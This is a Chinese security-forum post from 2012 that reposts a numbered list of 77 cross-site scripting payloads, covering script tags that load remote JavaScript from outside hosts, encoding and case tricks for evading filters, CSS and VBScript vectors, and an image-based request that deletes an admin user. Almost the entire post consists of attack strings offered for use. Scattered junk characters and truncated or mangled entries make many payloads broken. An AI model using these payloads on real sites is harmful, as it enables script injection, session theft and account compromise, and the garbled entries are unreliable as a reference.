找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3418|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
* P$ ?* k) d+ C8 g9 p8 s) S7 p8 t- S9 r0 k) u
(1)普通的XSS JavaScript注入
* H2 g5 N4 T- _& k5 J <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
, ]+ F6 H3 i8 v4 M2 f: ]$ R  j" p+ \. Z8 D. z5 J3 R0 o
(2)IMG标签XSS使用JavaScript命令& ^+ u+ F* Q& ?2 {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
# c$ q+ d- b" u! ^# S2 X7 X% W4 e5 }$ G9 I3 }& W4 V* m" S
(3)IMG标签无分号无引号5 x$ {, d( L2 A4 f$ Z7 ^
<IMG SRC=javascript:alert(‘XSS’)>
( s/ |4 x' z. ~3 u% f
2 u% k8 L! X7 U6 i2 D (4)IMG标签大小写不敏感! I7 f' V, {6 l; m$ M6 y' y
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
5 u+ l! X! R2 C, F! F3 e
& x1 w# R- s2 Y) e* u( h2 \ (5)HTML编码(必须有分号). ~5 ^; x" D7 Z  k( @5 a
<IMG SRC=javascript:alert(“XSS”)>
+ P" k! L1 ~+ e: \% N
8 N3 T) g# H- b0 x* n! o (6)修正缺陷IMG标签, C% t' `7 Q- b9 b- x, E, u3 r3 l
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>$ G1 C( X  M3 @4 h
7 q& ]2 t. R# P+ B. f$ }2 H. ]3 B
(7)formCharCode标签(计算器)
0 X& {- {! G5 S: z& }9 G5 ~" E <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>8 v3 r! d" ]9 L

7 z: y! s% u) B& x- m! H$ u, H (8)UTF-8的Unicode编码(计算器)
3 D+ E" b- @2 q+ B5 A% o7 d" `' ~ <IMG SRC=jav..省略..S')>
' @8 X. q5 P/ x
( p& G! U. L( u3 L1 t (9)7位的UTF-8的Unicode编码是没有分号的(计算器)
6 V2 u1 \8 s' ?9 p' U2 d7 \ <IMG SRC=jav..省略..S')>
* c; g/ y) a3 ~4 ~; X" R: a9 B. {- v8 p; K" F
(10)十六进制编码也是没有分号(计算器)
& y5 |- f- u2 S <IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>& C& Z# z  z1 n
- A) A/ a/ H/ a+ D- a( Y4 U4 ~
(11)嵌入式标签,将Javascript分开
1 ^0 q4 M, a$ e* ~6 K; _ <IMG SRC=”jav ascript:alert(‘XSS’);”>
7 A3 T- L$ S: {7 N8 [- s* q0 q4 ?2 q) H3 k* N
(12)嵌入式编码标签,将Javascript分开
( O& G8 o% A7 s2 H' v <IMG SRC=”jav ascript:alert(‘XSS’);”>
* o5 U3 x5 w9 i9 x, S
, ]) v! U3 ~8 Q. q& t/ o (13)嵌入式换行符
2 b& U# s) }, R <IMG SRC=”jav ascript:alert(‘XSS’);”>
$ }# q4 e  L3 z3 m- J6 ]
' I4 Z' S$ H' o8 |6 K (14)嵌入式回车8 R/ n( m" Y( z/ r" L& I( v
<IMG SRC=”jav ascript:alert(‘XSS’);”>
% N/ j" A0 @+ B) h$ [+ d4 n4 K; X7 a
(15)嵌入式多行注入JavaScript,这是XSS极端的例子+ q2 I' k; Z0 t
<IMG SRC=”javascript:alert(‘XSS‘)”># |7 x# H( f' u  q- _3 }
* M! n1 z: H& ~- L
(16)解决限制字符(要求同页面)
" k- N& c& z* m, P <script>z=’document.’</script>; U" P  A) R7 ]  Z' l4 L1 g
<script>z=z+’write(“‘</script>  [$ Q3 D% p) B7 e# F5 Q( m
<script>z=z+’<script’</script>: e  g4 V# E- S7 x. ^2 f0 p
<script>z=z+’ src=ht’</script>5 o, l" F' o( y) [- Q
<script>z=z+’tp://ww’</script>' c$ i* P" X, d( q+ i% ~: R% F
<script>z=z+’w.shell’</script>
& [( R. |0 C' N# V/ j1 J <script>z=z+’.net/1.’</script>
) L6 {" c1 w, o6 f( h) f0 a& A <script>z=z+’js></sc’</script>
( x+ T5 U$ A2 s, N! l <script>z=z+’ript>”)’</script>8 i6 \3 |: p: e  |
<script>eval_r(z)</script>0 C* t, Q, y  @' f' S
# e1 N( [7 y  ]0 W8 r3 ]+ O
(17)空字符
, |. l; v: b# S; F* a. T! o perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out) |1 ~3 Z- M  x' l7 i% P0 _' \

8 L2 s/ r" b" f& K+ H8 T7 V8 v: v (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
1 \& g) R. F' F perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
) u! ^  c' E5 ^& h7 z5 z. |; e! l+ C9 ?* i
(19)Spaces和meta前的IMG标签
% H+ P# u* a$ r2 ^, G! r# @ <IMG SRC=”   javascript:alert(‘XSS’);”>
8 m* M, A4 {' l* ?$ [
# X4 o& m6 _7 E6 K# S (20)Non-alpha-non-digit XSS
6 S: m& v. F( U& l9 B <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>" G* x" E: I2 f- T' V& P

1 e4 S9 h$ L- K5 ? (21)Non-alpha-non-digit XSS to 2
3 s5 [' x. _9 F2 l, n9 y* U <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
" G/ x4 J) K# i$ \( _, _
, I. m7 Q' D5 I' s/ h6 o (22)Non-alpha-non-digit XSS to 3
" }; E  M0 k/ a) f7 _ <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>6 c4 _- v0 A1 [4 A( F- F) X. N
  S, j( Q2 u% e! D
(23)双开括号
9 M' B+ \5 t% m+ h4 A6 }0 w5 v, D* ?7 W <<SCRIPT>alert(“XSS”);//<</SCRIPT>
* D! u- \7 a5 u& A; I9 |' ?6 Q9 v% i/ n
1 D$ T1 Y& U8 k' K/ m# f7 _7 a% @6 p (24)无结束脚本标记(仅火狐等浏览器)6 d: v, v4 g* c6 V2 r
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
: @8 J! P6 K( O2 E+ u1 U
$ P; Y% X" j3 K- H (25)无结束脚本标记2: W0 F* t6 Q! }: B8 `2 ]3 g
<SCRIPT SRC=//3w.org/XSS/xss.js>9 F! Y5 Q3 p( h9 x% x) s2 f* ]* Z
, C2 ^4 v, `- f5 v+ s' Z+ I
(26)半开的HTML/JavaScript XSS
, {$ C8 p) J' q1 E <IMG SRC=”javascript:alert(‘XSS’)”" d" c) X3 a+ ]* c- P6 f2 d
5 E/ o7 `* r0 N7 l' g( S3 i
(27)双开角括号
# \6 M) i. |: g( h <iframe src=http://3w.org/XSS.html <
$ o) D% m) H$ [# ^4 a7 K* I% y! h+ Q. a9 H
(28)无单引号 双引号 分号; R/ |, _) s0 C) @+ j: }4 f8 }
<SCRIPT>a=/XSS/- s5 I: S4 n' S4 c! ~( y
alert(a.source)</SCRIPT>% N- W6 T% L  R+ C

* O$ ^0 z9 s, K$ X (29)换码过滤的JavaScript  x7 F, S9 y/ R' P
\”;alert(‘XSS’);//  q( Y4 {7 h6 o( V: X, |

0 o) @. M: F, W# I0 J5 } (30)结束Title标签. {4 ~& K& D. i4 \
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
8 d* i3 K) G1 D1 V. s+ P1 G! d% R
! G- a* X* p' {8 b (31)Input Image
- y* v4 G: K9 ?1 z; B <INPUT SRC=”javascript:alert(‘XSS’);”>. l# C1 y5 t4 Z; H4 r+ H! Y

1 J" `/ W, I* b+ A5 ?5 o (32)BODY Image7 b5 F5 |- k+ s8 S$ O
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
, y1 }& ~, w& ^/ \# ?9 P# I# H' i2 U. o
(33)BODY标签
7 {' _$ z2 Z+ \' p8 w& z3 i <BODY(‘XSS’)>
) e2 l/ R. w* g8 }. @& U. ^+ A# r
(34)IMG Dynsrc
$ r3 y8 k( O2 L4 G6 G9 K9 n3 H <IMG DYNSRC=”javascript:alert(‘XSS’)”>+ P( i7 I! B4 L$ j& t% l5 O
! c  @' D) f' `8 v' U+ B
(35)IMG Lowsrc
; H  I# o- Y" @) d3 ]6 @ <IMG LOWSRC=”javascript:alert(‘XSS’)”>  E: ?- b: p8 \5 @) Y( k+ o
# p9 l, _0 D! |+ _
(36)BGSOUND3 L3 o$ v' n- E, _
<BGSOUND SRC=”javascript:alert(‘XSS’);”>8 j5 u" B+ U8 e  p1 h
) y6 f* G$ D6 K% t
(37)STYLE sheet+ Y2 D+ M! d$ g4 \9 p  @
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
8 J+ |; H* s5 {* M, I! h) |
0 E7 E' T! X5 }6 F4 s$ H (38)远程样式表- u' d( J& O% `
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
, Z; ~; {1 l0 l# ^$ i- K+ \6 q/ i2 w8 \, ~* i5 L0 l% u
(39)List-style-image(列表式)3 k+ v7 I' B6 `$ K* y3 P
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS! B+ P( I# D9 U' U# v* z
) ?6 R; ?2 d( d9 r; W8 u: Z! E
(40)IMG VBscript
* @9 ~& b1 C5 m <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
9 |% P, f: {! J7 W3 Q% j8 r- j1 A* Z3 B
4 L9 `& C2 X  A; W (41)META链接url8 w4 ~2 _: }3 l  ]( Q$ f. W
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>; f3 b, I  Y( l# s, V" O

9 e1 P, ]9 s; X% t: Q* [: _& M (42)Iframe
1 m- D* m/ W( l+ o0 H <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
# ]( E" k/ J/ m0 ^0 n6 \) \) l7 T* f+ W% @" x1 T
(43)Frame
8 \7 |' O; K+ V$ \9 h+ Y <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>% Q5 |$ J  U2 g6 R4 m8 D

" P8 [" G  g5 k/ P$ i/ z (44)Table  a4 i- ~+ V& q1 s
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
8 l* E( n+ p- p1 f2 j2 W2 @0 H; S% S- Y7 W. m; \! M5 u$ y
(45)TD5 Z1 @# _  N* b5 b" z( U" Y
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>6 P7 M. O4 [' h$ A
; R$ U& C+ P; Z' g/ j( w
(46)DIV background-image
  i( O  m( r5 Y& I <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>+ P, Z3 b( K+ Y: \' n0 @! V1 Z/ m

, ?6 M* \) Z5 N8 V% H (47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
9 v; i) k- p- }5 { <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
- r; D7 h7 ^* O! n( h3 n7 L8 c0 z. ?
(48)DIV expression& t  D2 a) j7 b1 @( [# L: \- d
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>- D  H# [( V- |: A( b$ f7 K
! I  ^8 o7 Y! T; a% V9 q* R) b. \2 _
(49)STYLE属性分拆表达
+ ^" Z2 {' t" G5 q <IMG STYLE=”xss:expression_r(alert(‘XSS’))”># l6 J4 a$ y: i) H9 o
6 |) H& n7 _- l, Z/ M; j( d
(50)匿名STYLE(组成:开角号和一个字母开头)
% ^: x, R$ L: j: B <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
, Y. V/ F; f4 F* z( _4 C7 X! l
3 C) Q5 H; j; \8 {: Y( k (51)STYLE background-image; K# G8 q' R3 V
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
% b; u- `$ F1 {2 v# K5 B. x. {- w" m6 ]2 K( q7 [
(52)IMG STYLE方式! p8 ^6 h1 S5 D
exppression(alert(“XSS”))’>, W6 Z9 G- u/ d4 {, y/ r0 Z5 y( P

3 \0 u1 S* x" a0 ^3 {& ] (53)STYLE background
. R$ g# H2 H5 A! n. q: c <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
/ s) r  l' v6 @* R0 O  Z+ Q' j5 p/ Q7 W8 S: L( `$ L5 p% |
(54)BASE# v% R7 s) F9 S& p# \) z; W
<BASE HREF=”javascript:alert(‘XSS’);//”>
" |: B$ ]$ S- F9 [1 x" b6 a: z+ s' N& I
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS9 t( t) b$ m- G; w; i6 r
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>8 e! F4 G) w" c& C! _! L- w% x

" A! ]1 I# ]0 Y( t+ `2 b' L0 V8 W (56)在flash中使用ActionScrpt可以混进你XSS的代码* d3 K/ \/ w4 [2 _  _& l9 a
a=”get”;' T" r7 x0 x: b7 B7 f/ j2 _2 ?$ C
b=”URL(\”";3 G$ ^: s' @% K& r  Q
c=”javascript:”;3 X/ z& l; Z: R3 ~* l8 p5 D
d=”alert(‘XSS’);\”)”;
: Y, q# i  a5 C8 y+ t6 |7 \9 N eval_r(a+b+c+d);3 t( u, n- y% w: M7 R5 s5 e, ~% Y

7 C& o8 ?4 r8 T' T3 m9 C) o (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
4 L2 G# G5 v0 Z <HTML xmlns:xss>, o4 b7 O6 B4 S" D
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>6 ~) J8 I+ _0 k, x3 R7 x
<xss:xss>XSS</xss:xss>% V( @* l2 |' j2 P5 h- g( M, b
</HTML>
! T' ^" g- A6 f/ v! Q/ @, W
; ]% N0 K8 g: k7 D4 B, P" R (58)如果过滤了你的JS你可以在图片里添加JS代码来利用* t  R. U# E, ]1 y. e
<SCRIPT SRC=””></SCRIPT>
: ^% J5 B+ _4 ^( q' s2 I* z% y% o" W' A& e/ `" F9 O# T$ a) X
(59)IMG嵌入式命令,可执行任意命令5 \, ^& X, s1 N' \% H
<IMG SRC=”http://www.XXX.com/a.php?a=b”>5 x: m4 _* j: E/ D

. t/ n. d% h* m9 g3 k (60)IMG嵌入式命令(a.jpg在同服务器)
# T( _" a# W6 `# b Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
; Z( E2 }7 r1 y. N1 x# l& {$ `: X# |8 C: k5 n! \7 {* g
(61)绕符号过滤
/ W) f1 L% s  y5 A- ]- [ <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>8 N( t, a+ G) z5 S9 N  L
. ^$ L* e$ v6 F& r! e" e
(62)
  }$ d7 L# W  V  ?4 S! U <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
7 r% w, F0 Q% f" F
0 {$ n* ?2 @! ^  D3 r2 E (63)' A/ n: Y$ I$ ?! O
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
% m4 m  u( i5 z- ^0 H* w# L3 e
. [$ C& M! @  l1 u (64)6 X" x. K% Y. i2 c# R' a
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
2 B5 w, f* t6 y* c, B7 W9 e' f4 Z4 `" h# Z
(65)
1 S) i3 `" y/ N5 ]6 |4 K* W2 r <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>8 }  K& F; a5 f
1 u0 D" D) H8 v4 U
(66)
3 X  B1 {) ], l  r+ \( z2 `9 I <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>4 R  M& ^. w; P( t% M0 j( i# q

  j, n! ~, |# @6 H8 @ (67)# B' G) C6 ]) Q$ c( |9 R9 s
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
& E9 F, f/ \1 M+ S3 T+ K) [- h
$ x" ?9 O4 r" H (68)URL绕行
) o  n/ p2 z0 h <A HREF=”http://127.0.0.1/”>XSS</A># s$ k; A8 D2 y, T: Y$ `1 V

' v5 l* i! _) F/ f5 R: l1 u (69)URL编码  T) I% Z& z% ]; O3 y. c7 ]
<A HREF=”http://3w.org”>XSS</A>* K6 c: q, Y0 K8 S  w6 m
. }/ k3 U' V5 e( r% d
(70)IP十进制
/ j* a" Y; r, M: O7 H+ T* P. M <A HREF=”http://3232235521″>XSS</A>* Y9 P6 p/ m! J: Y8 c: d

0 [* K3 S8 D# k3 `5 Y' h5 Y4 z (71)IP十六进制# H  A- j5 M+ l  r0 ?
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>  A4 X5 B9 K% ?' {

0 `1 g" i/ g2 F# f, [ (72)IP八进制
! t5 h; n( E! m% V7 { <A HREF=”http://0300.0250.0000.0001″>XSS</A>( C8 Y) k2 ]1 g$ B' M7 r  g
( R) B) L* R7 Y% m- t9 `7 i, h
(73)混合编码
7 |# Q7 P  Y3 c& Q. X; e- A <A HREF=”h
* K, k4 D1 a& a. T! G% I3 {- m. m tt p://6 6.000146.0×7.147/”">XSS</A>" S4 j7 @; g4 o; d
+ y* ]' _4 s6 O5 j1 V! T0 P
(74)节省[http:]: V' S( C* ^/ g2 K
<A HREF=”//www.google.com/”>XSS</A>
7 x  N4 F  ]: C9 r
4 j1 [) }6 h3 j (75)节省[www]
5 y  d9 v: a0 \  W5 p( w <A HREF=”http://google.com/”>XSS</A>
0 v$ ?# \; l) l/ X! w2 J% s( ], H) H% [3 x7 u
(76)绝对点绝对DNS* j# p7 C& X7 l4 X
<A HREF=”http://www.google.com./”>XSS</A>
/ }- r9 m, E2 g* i- p
" k: ^( B) z- X( w, I (77)javascript链接
" s  ]) E3 l- C! t' P <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表